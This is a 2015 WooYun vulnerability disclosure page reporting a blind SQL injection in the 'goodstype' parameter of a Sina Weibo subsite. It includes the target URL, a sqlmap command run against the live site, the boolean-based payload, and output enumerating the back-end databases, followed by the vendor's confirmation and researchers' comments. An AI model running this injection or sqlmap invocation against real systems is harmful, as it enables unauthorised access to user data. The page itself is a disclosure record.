当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090246

漏洞标题:新浪微博另一分站SQL注射

相关厂商:新浪

漏洞作者: Jannock

提交时间:2015-01-06 13:59

修复时间:2015-02-20 14:00

公开时间:2015-02-20 14:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-06: 细节已通知厂商并且等待厂商处理中
2015-01-06: 厂商已经确认,细节仅向厂商公开
2015-01-16: 细节向核心白帽子及相关领域专家公开
2015-01-26: 细节向普通白帽子公开
2015-02-05: 细节向实习白帽子公开
2015-02-20: 细节向公众公开

简要描述:

新浪微博另一分站SQL注射,这个其实也是很重要的站点,跟金钱和大V有关的,也有用户密码等信息。

详细说明:

http://weirenwu.weibo.com/taskv2/?c=Cpcs.cpcsSquare&goodstype=3
goodstype 参数存在注入,要登陆。
重要性也不详细列出来了。

漏洞证明:

root@bt5:/pentest/database/sqlmap# python sqlmap.py -r /1.txt --dbms=mysql -p goodstype --technique=B --threads 5 --dbs
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:20:03
[13:20:03] [INFO] parsing HTTP request from '/1.txt'
[13:20:03] [WARNING] provided parameter 'goodstype' is not inside the Cookie
[13:20:03] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: goodstype
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: c=Cpcs.cpcsSquare&goodstype=3 AND 4245=4245
---
[13:20:05] [INFO] testing MySQL
[13:20:05] [INFO] confirming MySQL
[13:20:05] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[13:20:05] [INFO] fetching database names
[13:20:05] [INFO] fetching number of databases
[13:20:05] [INFO] retrieved: 3
[13:20:12] [INFO] retrieving the length of query output
[13:20:12] [INFO] retrieved: 18
[13:21:45] [INFO] retrieved: information_schema
[13:21:45] [INFO] retrieving the length of query output
[13:21:45] [INFO] retrieved: 4
[13:22:09] [INFO] retrieved: test
[13:22:09] [INFO] retrieving the length of query output
[13:22:09] [INFO] retrieved: 8
[13:22:53] [INFO] retrieved: weirenwu
available databases [3]:
[*] information_schema
[*] test
[*] weirenwu
[13:22:53] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/weirenwu.weibo.com'
[*] shutting down at 13:22:53

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-01-06 14:53

厂商回复:

感谢关注新浪安全,漏洞修复中。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-06 14:03 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    我知道你还有一个注入没发,一会会发

  2. 2015-01-06 14:10 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @猪猪侠 在一起

  3. 2015-01-06 14:15 | bey0nd ( 普通白帽子 | Rank:895 漏洞数:142 | 相忘于江湖,不如相濡以沫)

    我知道你还有一个注入没发,一会会发

  4. 2015-01-06 14:40 | lijiejie 认证白帽子 ( 核心白帽子 | Rank:2210 漏洞数:294 | Just for fun.)

    @猪猪侠 我听说都是“某分站” -> “另一分站” -> “又一分站”,然后从头再循环的。。。 哈哈哈

  5. 2015-01-06 15:43 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    有奸情